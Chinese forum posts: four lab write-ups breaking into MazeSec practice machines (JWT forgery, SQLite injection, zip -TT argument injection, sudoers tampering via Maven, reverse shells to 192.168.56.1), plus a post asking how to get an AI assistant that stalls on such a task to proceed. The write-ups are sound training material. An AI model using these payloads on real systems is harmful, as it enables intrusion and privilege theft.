靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:longshao 系统 :Linux 作者 :超级黑暗无敌龙 难度 :Easy 依旧新鲜靶机,文章其实早就写好了,但是由于还在群内的做题时间,所以现在才发出来,欢迎大家学习和指导 不多说,直接开始。 信息收集 靶机ip: 192.168.56.108 端口扫描 ┌──(kali㉿JYlover)-[~] └─$ nmap -p- 192.168.56.108 开放 22 、 80 端口,这次就很明显是从web入手了。 一个登录页面。 测了一下没有类似sql注入的问题。 那就扫一下目录。常规信息收集: $ dirsearch -u 192.168.56.108 多出来一个 /dashboard.php ( /cgi-bin/printenv和/cgi-bin/test-cgi这两个应该是apache自带的一些配置文件,没有什么用) 我们去访问dashboard: 直接给了ssh凭证,web端是白给的,所以我说侧重是在shell提权上。 baolong:jinhua 横向移动 $ ssh [email protected] # 输入:jinghua 登录到 baolong 用户。 然后我们信息收集一波。 baolong@longshao:~$ sudo -l # Sorry, user baolong may not run sudo on longshao. baolong@longshao:~$ wget 192.168.56.1:9999/pspy64 baolong@longshao:~$ chmod +x pspy64 baolong@longshao:~$ ./pspy64 没有啥大收获。 这里又传了 linpeas.sh (工具箱中的)上去扫了一遍。 这是一个bash脚本,用于在 Linux 系统上自动进行信息收集和提权路径枚举。 baolong@longshao:~$ wget 192.168.56.1:9999/linpeas.sh Connecting to 192.168.56.1:9999 (192.168.56.1:9999) saving to 'linpeas.sh' linpeas.sh 100% |******************************************************************| 1032k 0:00:00 ETA 'linpeas.sh' saved baolong@longshao:~$ chmod +x linpeas.sh baolong@longshao:~$ ./linpeas.sh -bash: ./linpeas.sh: /bin/sh^M: bad interpreter: No such file or directory baolong@longshao:~$ sed -i 's/\r$//' linpeas.sh baolong@longshao:~$ ./linpeas.sh 注意这里如果是从windows上传过去可能会有这个换行符冲突的问题,我们可以用sed命令替换一下。 然后他就会开始自动扫。 也并没有扫到什么很有用的东西,但是也顺带有点收获: 可以看到有3个普通用户: baolong chaojibaolong chaojiwudilong 可能是打横移链。(这名字起的,暴龙的进化之旅(~ ̄▽ ̄)~) 又注意到/opt目录下有一个 internal 目录。(opt目录放第三方下载的东西,所以很多作者会把口子放在这里) 既然没啥东西了,那我们肯定就去看看这个 internal 目录吧 baolong@longshao:~$ ls /opt/internal -la 看到有一个 parser_core 的二进制文件,root所有,属于 chaojibaolong 组,且组用户可执行。 很明显是引导我们横移到 chaojibaolong 用户了。 我们想把文件拉下来分析一下, 但是也需要有 chaojibaolong 用户,其中我们也没发现其他横移的路子。 没办法的时候就想想最笨的办法,直接去爆破一下ssh密码呢? ┌──(kali㉿JYlover)-[~] └─$ hydra -l chaojibaolong -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.108 -t 4 -e nsr 还真给扫到了。 chaojibaolong/love123 可以拷贝下来了: $ scp [email protected]:/opt/internal/parser_core ~/tmp/ 这是在我们攻击机上执行的远程拷贝命令 然后用ida打开看看。 直接f5反汇编 好像大概就是有一个 --debug 参数,…然后就可以执行 su chaojiwudilong 啦≡(▔﹏▔)≡。好吧看不懂。 交给ai: 必须root执行 必须是 1 或 2 个参数( argc - 2 <= 1 )。 1 个参数:正常模式 2 个参数:若第二个参数为 --debug ,开启调试标志(这里argc[0]是程序本身,所以{ a2[2], "--debug" }不是检查第三个参数而是第二个) 文件名必须 .log 结尾,文件必须在 /tmp/ 下 log文件存在的话就只是打印成功,不存在的时候且开启了调式模式,就会执行 su chaojiwudilong 那么很清晰,我们的目标是: 以root身份执行这个程序–>启动调试模式–>指定一个不存在的log文件 也就是 $ /opt/internal/parser_core /tmp/1.log --debug 如果root执行了这个命令,就可以切换身份了 但是我们怎么去root执行呢?可能到这里就没什么思路了。 那就登录。在信息收集一下sudo权限有没有。 baolong@longshao:~$ su chaojibaolong # 输入:love123 chaojibaolong@longshao:/home/baolong$ sudo -l 直接发现拥有 无需密码执行 /usr/local/bin/check_parser 的权限。 这是个什么东西呢,我们去看看。 chaojibaolong@longshao:/home/baolong$ vi /usr/local/bin/check_parser 是一个bash脚本大概是: 检查uid是否为0,也就是检查是不是root执行。不是root直接退出 检查第一个参数,如果第一个参数为空且第一个参数对应的路径 不是 普通文件,则退出。这里用的并运算(-a),所以如果有参数的话,就一定不会退出 执行 parser_core ,并且把参数传递给它 又清晰了,上面我们分析过,只需要执行 parser_core 并带有 --debug 参数就可以到 chaojiwudilong $ /opt/internal/parser_core /tmp/1.log --debug 我们不能root执行 parser 但是可以root执行 check_parser 呀,而 check_parser 又执行了 parser 。这样就间接执行了,而且参数原样传递,我们可以像直接调用 parser 一样,就是改一下名字。 我们执行: $ sudo /usr/local/bin/check_parser /tmp/1.log --debug 横向完成。 提权 拿到最后一个普通用户,再看看sudo权限: $ sudo -l 可以无密码执行 /usr/local/bin/a.sh 去看看这个脚本。 chaojiwudilong@longshao:~$ cat /usr/local/bin/a.sh 终于能看懂了: 先把PATH直接改成 /usr/bin (这样所有命令会去 /usr/bin 下面找) cd到 /tmp 目录 <( ... ) 表示把命令执行的结果当一个临时文件,然后把临时文件的值赋值给 $CMD head -n1 | tr -d "[A-Za-z0-9/]" 表示取出第一行,删掉其中的数字字母和 最后执行 $CMD 也就是这个脚本的参数,不能有数字字母和 / ,然后这个参数会被执行。 这里就是一个无数字字母命令执行。 虽然没有数字没有字母,但是还有 ! 、 ? 、 _ 这些特殊符号呀。 这里首先我们要知道一个知识点,那就是 . <文件名> (注意有空格)是可以执行shell脚本的( . 是 source 命令的简写,用于在当前 shell 进程中执行脚本),例如: 这里看得很清楚, source <文件名> 可以成功执行 a 文件中的shell命令, . <文件名> 也可以 所以我们流程就是: 创建名为 _ 的文件,内容是shell命令—>sudo执行 a.sh ,—>传入 . _ 然后就打成任意命令执行了。 1. 2. 关于最后提权的小复盘 我们要注意到脚本中: PATH=/usr/bin cd /tmp read CMD < <(head -n1 | tr -d "[A-Za-z0-9/]") eval "$CMD" 有一句改PATH的命令,所以有些命令我们最好用绝对路径,不然会默认去 /usr/bin 里面找 例如我们的反弹shell。 bash -c 'exec bash -i &>/dev/tcp/192.168.56.1/8888 <&1' # 就要改成 /bin/bash -c 'exec /bin/bash -i &>/dev/tcp/192.168.56.1/8888 <&1' 不然就会报错 因为 /usr/bin 下面没有 bash ,他是在 /bin/bash 这里还发现: echo "/bin/bash -i >& /dev/tcp/192.168.56.1/8888 0>&1">_ # 这个不行 会报错 这里不知道是为什么,可能是执行是的环境是 sh ? 这里实在搞不懂了 还有一点就是如果不用 _ ,用 ? 或者 ! 也是可以的,但是由于他们在shell中有特殊含义,所以要注意利用“”。 知识点总结 本次靶机遇到的知识点: 遇到二进制文件可以拉下来反编译审计 source <文件名>是把文件名执行。可以写成 . 文件名 ,绕过限制 这次靶机遇到的固定知识点比较少,大部分是根据实际情况来的分析,代码审计。大家可以自行复现 2 个帖子 - 2 位参与者 阅读完整话题
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Watcher 作者 :Yolo 也是很久没有打了,前面的都是打完很久才来复盘。这次来个新鲜的,刚出来,今天刚打完的靶机。 关于靶机配置之前讲过了,这里就不多说了。 最近换成用wsl的kali了,只能是nat网络,所以靶机都用的Host-only,所以都是走的 192.168.56.0/24这个网段 该网段windows侧的ip为 192.168.56.1 。这样会导致我的kali能访问到靶机,但是靶机访问不到kali。 这里就相当于windows和靶机都是一个”公网ip“,kali是windows的nat后面的”私网ip“ 我换wsl主要是不想每次去多开一台虚拟机,还有vmware那个桥接网络不知道为什么ip老是变甚至有时候ipv4都没有,还要我手动续租什么的。但是这也有个问题就是反弹shell就做不了,我的做法是windows上装一个nc监听来平替。 话不多说,直接开打。 信息收集 靶机ip: 192.168.56.106 端口扫描 ┌──(kali㉿JYlover)-[~/tmp] └─$ nmap -p- 192.168.56.106 开放22、5000端口。 只有一个5000端口有价值,但是我们又不知道 upnp 是啥,我尝试去浏览器访问一下。 是一个web页面,那么入口点肯定就是web了,那我们就开始web渗透 web渗透 看到登录框先是尝试了一下sql注入等。但是都没什么用,这里不知道怎么办的话可以先扫一下目录,这也是一般web渗透的流程。 就只有一个登录一个注册。 那我们直接注册一个账号好了。 进来后我们尝试访问系统管理页面,但是发现说我们权限不足,权限是 normal 这里的权限认证大概率就是jwt了,但是我们还是尝试抓个包看看 果然就是jwt。我们去爆破一下密钥。 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -C -d jwtkey.txt 成功拿到jwt密钥: maze 尝试伪造。 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -I -pc level -pv admin -S hs256 -p "maze" 拿到密钥: [+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6ImFkbWluIiwiaWF0IjoxNzgwMzg0MTgzLCJleHAiOjE3ODAzODc3ODN9.EP8qh3LLC4wozyqw3n-yFHuyfZi5uIoPvD8f34972XM 也可以直接去jwt官网用密钥修改。 然后直接去浏览器的 开发者工具–>应用–>cookie中替换新的jwt即可: 然后就可以正常进入系统管理页面了。 然后是改系统设置的地方,这里抓个包。 我们在value这里试试也没有sql注入。 造成sql语法报错,存在sql注入,而且这里大概率是update语句,那union注入就行不通了。但是因为这里会把更新成功的value给回显出来,所以我们尝试子查询。 这里是报没有 database() 函数,那说明我们的sql语句是没问题的,只是函数错了,那这是个好事啊。说明只是这不是mysql数据库,查询是对的,我们换sqlite的函数试试。 果然是sqlite。那后面就是直接sql注入了,不过多讲解。 最终payload: {"key":"theme","value":"light',value = (select group_concat(tbl_name) from sqlite_master )--+"} # "current_value": "users,users,sqlite_sequence,settings,settings,secret" {"key":"theme","value":"light',value = (select group_concat(sql) from sqlite_master where tbl_name = 'secret' )--+"} # "current_value": "CREATE TABLE secret (id INTEGER PRIMARY KEY AUTOINCREMENT,secret TEXT NOT NULL )" {"key":"theme","value":"light',value = (select group_concat(secret) from secret )--+"} # "current_value": "watcher:mazesec123q1231w!@#!@@#$" 获得登录凭证: watcher:mazesec123q1231w!@#!@@#$ 然后就可以直接ssh登录了。 flag{user-c3949567202847f1ad8664095f0a94e4} 权限提升 我们先老规矩传 pspy64 上去看看: 注意到这里两行: 2026/06/02 08:15:50 CMD: UID=0 PID=408 | /bin/bash /opt/autoarchive/sync.sh 2026/06/02 08:15:50 CMD: UID=0 PID=407 | inotifywait -m -e create /home/watcher/uploads 以root身份执行的一个一个脚本 /opt/autoarchive/sync.sh 可能是脚本中执行的命令 :inotifywait是监控文件系统的工具 $ inotifywait -m -e create /home/watcher/uploads # -m参数:持续监控模式。 # -e参数:指定事件类型 ,这里指定creat事件 实时监控 /home/watcher/uploads 目录,当有新文件或子目录创建时,立即输出事件信息。 说明如果uploads文件夹发生变化会触发一些东西。那这个uploads文件夹我们去看看。 随便在目录下创建一点东西。 创建的瞬间就自动执行了脚本 /opt/autoarchive/archive-helper ,肯定是想去看看这个脚本是做什么的,但是这个目录我们没有权限 watcher@Watcher:/opt$ ls -al total 16 drwxr-xr-x 4 root root 4096 May 22 12:16 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwx------ 2 root root 4096 May 22 12:29 autoarchive drwxr-xr-x 5 www-data www-data 4096 May 22 11:55 watcher 这里我们虽然不知道这个脚本是做什么的,但是静下来想一下: 一个脚本,参数是我们刚刚创建的文件。那么就很有可能是监控并把产生的文件给打包到哪里去吧。但是想不到打包这个操作也没事(而且zip,gzip,这么多打包命令也不知道是哪个) 此时我们可以打开pspy的文件系统监控功能。 watcher@Watcher:~$ ./pspy64 -fp # pspy默认是监控进程,但是有了-f参数就是文件系统,-p参数是进程,所以我们同时监控两个 很明显抓到了调用了zip命令。 这里是有几率抓到一条zip命令的进程的,只是我们的文件太小了,zip压缩太快了,而pspy的原理其实是通过查看/proc目录实现监控的,所以太快的话就可能抓不到。 这里抓到这个包是要有点运气的,比较稳的方法是压缩一个超大文件,这里我就没有去演示了。 还有一点是实验可以发现,这个脚本应该就只是检测txt文件,如果是其他文件的话不会触发压缩。 既然是zip命令的话我们就很明显了,应该是使用zip打包时使用了通配符打包所有文件。 那这样就存在一个通配符参数注入的问题。 我们查一下 GTFObins 是可以做到命令执行和文件读取的,我们可以利用文件名做参数注入: 先准备一个反弹shell的脚本 watcher@Watcher:~/uploads$ cat shell.txt #!/bin/bash bash -i >& /dev/tcp/192.168.56.1/9999 0>&1 给脚本添加可执行权限,并创建参数注入文件 watcher@Watcher:~/uploads$ chmod +x shell.txt watcher@Watcher:~/uploads$ >'-T -TT shell.txt' 然后nc监听等待回弹shell就好了(我这里又创建一个1.txt是为了触发脚本) 关于zip提权 这里稍微了解一下zip的这个参数问题。 zip存在两个参数: -T :测试zip文件完整性, -T 会调用 unzip -tqq 来测试 -TT :用你指定的命令来测试,如: -TT cmd :使用 cmd 作为解压测试的命令。zip 会创建一个临时文件,执行 cmd tmpfile.zip ,如果命令返回 0 则认为测试通过。 注意 :这里的 cmd 是一个外部可执行程序,也就是说它可以是一个命令,也可以是一个shell脚本。 所以这里就会执行这个命令 回到我们构造的payload: 我创建了一个文件: watcher@Watcher:~/uploads$ >'-T -TT shell.txt' 此时文件夹存在文件 -T -TT shell.txt 和文件 shell.txt 其中shell.txt是反弹shell脚本。 此时后台root可能执行了: zip shell.txt -T -TT shell.txt 后面这个文件就被当作参数执行了。 其他做法 这里分享一些其他解法。来自其他群友的wp sleep替换 解法来自——Aristore 附上群友wp截图: 说实话这里的sleep命令的发现,我还没有复刻,不管是pspy还是上面的命令都没有抓到。 但是这个方法是稳定可行的。 原因是他这里看了 /proc/$NEW_PID/cmdline ,这个文件里是进程的启动命令。 所以启动命令是 sleep 3 ,这里使用的相对路径,我们可以直接看一下脚本源码: root@Watcher:/home/watcher/uploads# cat /opt/autoarchive/sync.sh cat /opt/autoarchive/sync.sh #!/bin/bash WATCH_DIR="/home/watcher/uploads" HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}" mkdir -p /root/backups inotifywait -m -e create "$WATCH_DIR" | while read -r path action file do case "$file" in *.txt) sleep 3 cd "$WATCH_DIR" || exit 1 export PATH="$WATCH_DIR:$PATH" # Archive all .txt files after each new .txt file event. "$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1 ;; esac done 其实这个方法之所以能成功是很多巧合的,所以也只能算是学习一种思路吧。 这里看一下出题人说的: 是为了预期解能成功所以添加了PATH变量,再加上sleep没有使用绝对路径(一般都不会用绝对路径吧),所以导致执行sleep时会默认去uploads目录下找,此时我们在uploads下创建sleep文件才能被执行。算是一种非预期解吧。 CVE-2026-43494-PinThef 解法来自——BR 该内核漏洞也可直接提权,这里这个CVE我还没有太了解过,就没有复现了,后续可能找时间了解。大家可自行复现。 这里附上群友的wp截图: 知识点总结 通过这次靶机可以了解到以下知识点,大家打完后可以复习一下: jwt 的密钥爆破及payload伪造 sqlite注入(UPDATE的注入使用子查询,而不是union等) zip命令的通配符参数注入( -T -TT shell.txt ) sleep命令替换(非预期,可学习思路) 1 个帖子 - 1 位参与者 阅读完整话题
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:MM 作者 :dsz AI总结 今天复盘一下MM靶机。 为了防止有新手不知道打靶机的流程,这次从部署环境开始。(因为我一开始是打ctf的,第一次打靶机还真不知道怎么开始) 环境搭建 本次教程都以MazeSec自制靶机举例,其他的都万变不离其宗。 我们首先下载好靶机环境文件,一般都是一个ova文件。全称:Open Virtualization Appliance(开放虚拟化设备) 其中包括了完整配置信息和虚拟磁盘数据(也就是打开即用的虚拟机,基本不需要在配置,除了网络之类的) 拿到靶机后我们用 VirtualBox 打开(MazeSec的靶机优先支持 VirtualBox , VMware 有可能会有找不到网卡的情况) 我们依次点击:管理—>导入虚拟电脑—>选择文件(需要的靶机ova文件) 我们可以选择改一下位置,我改成了D盘里自建的文件夹。 然后点击完成。等待导入完全(右上角有进度条) 导入后右边可以看到配置详情,我们几乎不要去管,但是有时候会碰到没有找到ip的情况,我们看一看网络设置对不对。这里建议直接选择桥接,特别是对于 VMware 上部署kali的师傅,两个平台的nat网段是不同的(如果你是网络高手或许可以自己去调一下,相关密码需要进入社区获取 ) 然后双击即可打开靶机。我们打开可能会遇到如下报错,不要管他,点一下更改网络设置然后点确定退出就好了。 信息收集 打开靶机后我们就不要管他了(也可以看,我是为了尽量模拟真实环境) 回到我们的攻击机(kali等),注意kali也要桥接哦~ 我们nmap起手收集一下目标ip $ nmap 172.20.10.0/24 -sn #-sn是只发ping包扫描 找到VirtuaBox的网卡就是靶机地址了。 ip: 172.20.10.3 然后在扫一下端口开放情况。 $ nmap -p- 172.20.10.3 #-p-代表扫描全端口 开放 22 、 80 、 5901 、 6001 四个端口。 vnc复盘 VNC 是一种让你用一台电脑(客户端)远程操作另一台电脑(服务器)桌面的技术 5901/tcp :VNC 服务的主端口 大门 ,你从这里连接进去| 6001/tcp :X11 服务端口(Linux图形底层) 内部管道 ,服务器自己用的,你不需要管它| :1 :(显示编号)这是第1号图形会话 如果同时开多个桌面,就是 :1 、 :2 …| 连接命令: vncviewer 172.20.10.3:5901 就和22端口的ssh一样,但是这里突然开始一个vnc也很不正常,需要留意一下。 和ssh一样有可能被暴力破解的可能 初步渗透测试-获取user-shell 我们一般有web的话就先去web看看,因为web的洞会简单一点。 一个静态页面,没思路,那么就去扫一下目录。 $ dirsearch -u 172.20.10.3 看到泄露了很多git文件,那么就是git泄露,我们用工具扒下来看看。 root@JYlover:~/webtool/GitHacker# githacker --url http://172.20.10.3/.git/ --output-folder result 看到有几次提交记录,我们能得到一个域名 mm.dsz 这里我尝试添加一个hosts记录,果然访问到一个登录页面。 不能输入和点击,尝试修改前端代码,但是最后发现完全没有用,就是一个壳子。那这条路就断了。 注意,这里由于环境变化,下面的ip和上面不一样,大家自行理解一下。 于是我们只能再次回到git。 我把几次的git记录都看了一遍,发现过程中添加又删除了一个密码 sublarge 。 尝试用它登录ssh或者vnc,但是都不对。 那没办法,git里也没有什么信息了(4次提交都看过了) 那就只剩下爆破这条路了。我们hydra试试。 ┌──(kali㉿JYlover)-[~] └─$ hydra -l mingmingjiu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4 -e nsr 这里添加 -e nsr 参数测试了弱密码,没想到果然就是用户名复用。 那我们尝试ssh登录。 ┌──(kali㉿JYlover)-[~] └─$ ssh [email protected] #password:mingmingjiu 但是发现登陆成功却直接退出。 原因是该用户的shell被禁用,但是密码是正确的。 既然shell被禁用了,我们可以想到,这里留一个vnc是做什么的,是否存在密码复用问题呢,尝试登录。 ┌──(kali㉿JYlover)-[~] └─$ vncviewer 192.168.56.103:5901 # password:mingmingjiu 成果登录上了vnc桌面。 权限提升-获取root-shell 我们现在是没有shell权限的,那么怎么办呢,这里有一个办法是用其他终端, xterm 然后这里就直接弹了一个shell回来,做权限维持 关于shell权限复盘 这里为什么我们不能ssh登录,也不能直接用terminal,但是用xterm这些古老的终端却可以。 我们先看一下用户信息: mingmingjiu@MM:~$ cat /etc/passwd 能看到mingmingjiu用户的默认shell是 /usr/sbin/nologin 我们ssh登录时:验证成功后,系统会尝试启动你在 /etc/passwd 中定义的 Shell(例如 /bin/bash) 如果定义的是 /usr/sbin/nologin ,系统就会运行这个程序,它会打印一段文字(通常是 “This account is currently not available.”),然后直接断开连接。 而自带terminal也是直接去打开默认shell,但是这里默认shell是 nologin 。 而古老的 xterm ,他不知道去主动找用户默认shell,而是呆呆的直接启动一个sh 所以他没有收到/etc/passwd的影响。 得到shell之后我们就尝试去权限提升了。 我们传一个pspy64到靶机(这是一个监控程序,会一直监控当前的进程,主要是发现一些存在的定时任务等) 这里可能有些刚接触靶机的师傅会不知道,一般我们打靶机会自备一些常用的工具箱,里面有一些什么漏洞扫描,进程监控等等工具,到了提权的时候可以把工具传上去帮助我们信息收集。例如: 这里就是我的工具箱,获得低权限shell时起http服务传一些工具上去。然后靶机上下载下来直接监控: mingmingjiu@MM:~$ wget 192.168.56.1:8888/pspy64 就不全部截图了,有点长,大家明白意思就好了。 然后我们直接pspy监控进程: mingmingjiu@MM:~$ chmod +x pspy64 chmod +x pspy64 mingmingjiu@MM:~$ ./pspy64 明显能看到有些程序在重复执行,而且还是以root身份执行的(UID=0),说明很有可能是作者留给我们的提权点。 能注意到其中有一个 /bin/sh -c /bin/bash /opt/a.sh 一直作为定时任务在执行,后面应该就是它里面执行的命令了。 我们去看看这个文件。 mingmingjiu@MM:~$ cat /opt/a.sh 是bash执行gocr后的结果,这个gocr是什么,我们可以去问一下ai。 很简单,就是把图片里面的文本识别出来。OCR模型就是这个作用。 也就是说如果我们有一张图片 1.png , 里面写着id 然后我们执行gocr ./1.png | bash 就会输出id命令的结果。 那么就很简单了,也就是说只要我们把 /tmp/go.png 换成我们自制的命令图片,然后等定时任务执行。那就可以以root身份执行任意命令了。达到定时任务提权的目的。 总结 总结一下这次靶机接触到的一些知识吧。 vnc是一种和ssh类似的连接远程桌面的技术,通过命令连接 vncviewer <ip>:<port> 当 /etc/passwd 中给用户默认shell指定为 /usr/sbin/nologin 时会导致ssh,以及现代的终端模拟器失效。此时可以使用一些古老的终端如 xterm 等直接起一个终端,而不是走默认终端。 可以通过工具等,多注意定时任务的执行 2 个帖子 - 2 位参与者 阅读完整话题
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Pom 作者 :Sublarge AI 总结 这篇复盘记录了一台 Linux 靶机从信息收集到 root 提权的完整过程。整体思路是:先通过 nmap / rustscan 发现异常端口 55555 ,再使用 openssl 连接 SSL 服务拿到初始 shell;随后进行本地信息收集,利用密钥文件解出 SSH 密码,稳定登录后通过 sudo -l 分析权限,依次借助 Java 执行、软链接覆盖和 Maven 插件命令执行完成横向移动与提权。 核心知识点包括:端口扫描与服务识别、异常端口利用、socat shell 原理、Linux 本地枚举、密钥文件解密、sudo 权限分析、Java 代码执行、软链接利用,以及 Maven 命令执行提权。 这是我通关的第一台靶机,今天来好好复盘一下,毕竟很多东西我完全不知道,都是ai的。 复盘就不说主机发现了,毕竟真实环境也不会在同网段吧。 靶机ip: 10.216.75.62 信息收集 拿到靶机第一步肯定是信息收集扫端口,目前对我来说nmap扫端口的功能就够了,但是我习惯用 rustscan 调用nmap的脚本深度扫一下,然后用ai工具总结一下。(总觉得会发现多一点东西),还有就是以后会遇到有敲门等功能, rustscan 的多线程是很有可能直接敲开的(但是好像必须是顺序敲门,这也是敲门策略的大忌,但是不排除就是有人这么设置吧,毕竟最大的漏洞就是人),ok不扯了。 nmap -p- 10.216.75.62 #-p-表示全端口扫描,也可以 -p 指定端口,例如:nmap {ip} -p 22 看到除了22端口外(22是ssh默认端口,所以靶机都会开的),还开了 80、55555 端口,这个55555就很不正常,应该有什么特殊的东西。 55555 我们暂时没有任何信息,所以没办法入手,所以只能去web端口看一看。 是一个 Spring Boot 框架的默认错误页面 也是什么都没有,那这时候一般就会去扫一遍目录了。 扫了目录也没有什么有用的东西,这个时候基本就线索断了。 那么我们只能寄希望于 55555 端口了。但是我们根本不知道这是什么,所以回去进行进一步探测。 我们用 rustscan 扫一下,他是会自动调用nmap脚本深入探测的。 rustscan -a 10.216.75.62 -p 55555 --ulimit 5000 -- -A -sC -sV 输出很多,我们用ai总结一下。 这里顺便打个广告,自己写的小工具,调用llm-api自动总结上一条命令。 终端命令-what ,(随意开发的,也就vibe了一两天,有什么建议都可以提提issues,点点star) 效果大概这样: 我们直接按照ai给的建议来建立ssl连接。 openssl s_client -connect 10.216.75.62:55555 -quiet 直接就弹回来一个shell了。成功拿到user-flag flag{user-f823e147843dd5b23f0ac9d243ae12fb} 复盘-shell来源 这里好奇为什么能直接获得一个shell呢。 我们ps看一下当前的进程(前面一些没用的就不看了): 我们看到这一行 2438 mav1234 0:00 socat -d -d OPENSSL-LISTEN:55555,cert=/home/mav1234/.local 有一个进程以 mav1234 的身份在用 socat 监听55555端口,应该是一个定时任务 cert=/home/mav1234/.local 是用于验证的证书 所以我们用 openssl 向该端口发起连接请求,就会弹回来一个 mav1234 的shell了。 这里其实就是反弹shell的逆向过程,我们主动连接靶机,这就要求靶机上开放了特定端口有这个服务。而我们平时选择反弹shell就是因为,它不需要靶机开放什么服务,是靶机去主动连接我们 获得shell之后的信息收集 我们通常获得了基础的shell之后就要进一步的信息收集,因为在shell之外很多信息是收集不到或者不方便的。 最普遍的就是看看: sudo -l :是否有一些特定的sudo权限 ls -l /home :看看有哪些用户,判断是否会要横向,但是一般都是要的 ls -al /opt : Optional Application Software (可选应用软件),除了apt等系统软件之外,很多自己安装的软件都会在这个目录下,比如手动安装的 Google Chrome 、 TeamViewer 、 MongoDB 、 PostgreSQL 、 Discord 、 VS Code 等,都可能出现在这里。靶机作者也经常把入口放在这里。 还有就是 /etc/passwd /etc/shadow 这些常规的文件了 其他就是得随机应变了,这些都没有思路的话再去深入的探索 我们这边先看一下家目录还一个文件。 sh-5.2$ cat journel cat journel I’ve encrypted my secret with my key. No one else can read it now. It’s safely hidden away:) # 我已经用我的密钥加密了我的秘密。现在除了我谁也读不到了。它安全地藏起来了:) 有秘密,应该是提示,找一下。 找到了 meta 文件和 pem 文件, meta是元数据,pem是证书,公钥私钥等文件。 猜测应该是meta用pem解密会得到什么东西。 我们还是可以用openssl来解密。 得到 MvxPf8yCB8lxXk5A ,猜测是ssh密码,我们尝试ssh登录稳定一下shell(因为这样ssl连接的shell很不稳定,用起来不方便) 登录成功。 再信息收集一下 看到有3个用户,并且我们有另外一个用户的 java 权限。那很明显就是用java横向了。相当于任意java代码执行了。 先写一个java的一句话木马, -bash-5.2$ cat Exploit.java public class Exploit { public static void main(String[] args) throws Exception { ProcessBuilder pb = new ProcessBuilder("/bin/bash"); pb.inheritIO(); pb.start().waitFor(); } } sudo -u qc2000 /usr/bin/java -cp /tmp Exploit 这里就横向成功了,但是这里要注意的是,不要放在自己家目录,因为 qc2000 可能会没有权限访问,所以会报错找不到class文件。 接着看一下sudo权限。 bash-5.2$ sudo -l Matching Defaults entries for qc2000 on Pom: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for qc2000: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User qc2000 may run the following commands on Pom: (terra536) NOPASSWD: /home/terra536/ln 有一个ln命令的权限,应该就是打软连接,首先想到的是连接ssh公钥之类的。 但是就算是有链接,不管是硬链接还是软连接,如果源文件没有权限,那链接文件也一样看不了。那就不是这么打的了。 这里有一个点,那就是这个 ln 命令 /home/terra536/ln 。这是家目录的ln,而不是 /usr/bin 下面的 我们是不是可以尝试修改这个命令呢。 写一个shell脚本 用 /home/terra536/ln 打把shell脚本给链接到自己上面(用-f参数强制覆盖原来内容) 然后我们运行 /home/terra536/ln 就相当于在运行shell脚本了,而且是以 terra536 的身份运行的 开始 qc2000@Pom:/tmp$ chmod +x /tmp/hacker.sh qc2000@Pom:/tmp$ cat hacker.sh #!/bin/bash /bin/bash -i qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /tmp/hacker.sh /home/terra536/ln qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln Pom:/tmp$ id uid=1002(terra536) gid=1002(terra536) groups=1002(terra536) Pom:/tmp$ whoami terra536 ``` 最后就是maven的插件命令执行提权,因为我们有maven的root权限,只需要用maven执行对应的命令就好,反弹shell或者直接给其他用户无密码执行所有命令的权限,写进/etc/sudoers(这里是一种演示,还有很多其他插件,大家可以去学习一下。并且演示这种也是需要一个最小pom.xml文件的) ```bash bash-5.2# sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'echo \"terra536 ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers'" [INFO] Scanning for projects... [INFO] [INFO] ---------------------------< hacker:exploit >--------------------------- [INFO] Building exploit 1.0 [INFO] from pom.xml [INFO] --------------------------------[ jar ]--------------------------------- [INFO] [INFO] --- exec:3.6.3:exec (default-cli) @ exploit --- [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.855 s [INFO] Finished at: 2026-05-01T22:56:54+08:00 [INFO] ------------------------------------------------------------------------ bash-5.2# sudo su - root@Pom:~# ls /root root.txt root@Pom:~# cat root.txt flag{root-4a29b2f65b40052a804c0cc4afb906bd} 2 个帖子 - 2 位参与者 阅读完整话题
作业是下载一个靶机,然后本地部署虚拟机,入侵拿flag,结果claude code里用gpt一直卡住,一开始还以为是网络的问题,后来才发现其他项目就好好的,一旦让他搞这个作业就不行,头大啊,给他强调了半天这是本地的虚拟机,只是做个作业而已,还是不行,佬们怎么办,用国产的模型会有这个问题吗 5 个帖子 - 5 位参与者 阅读完整话题
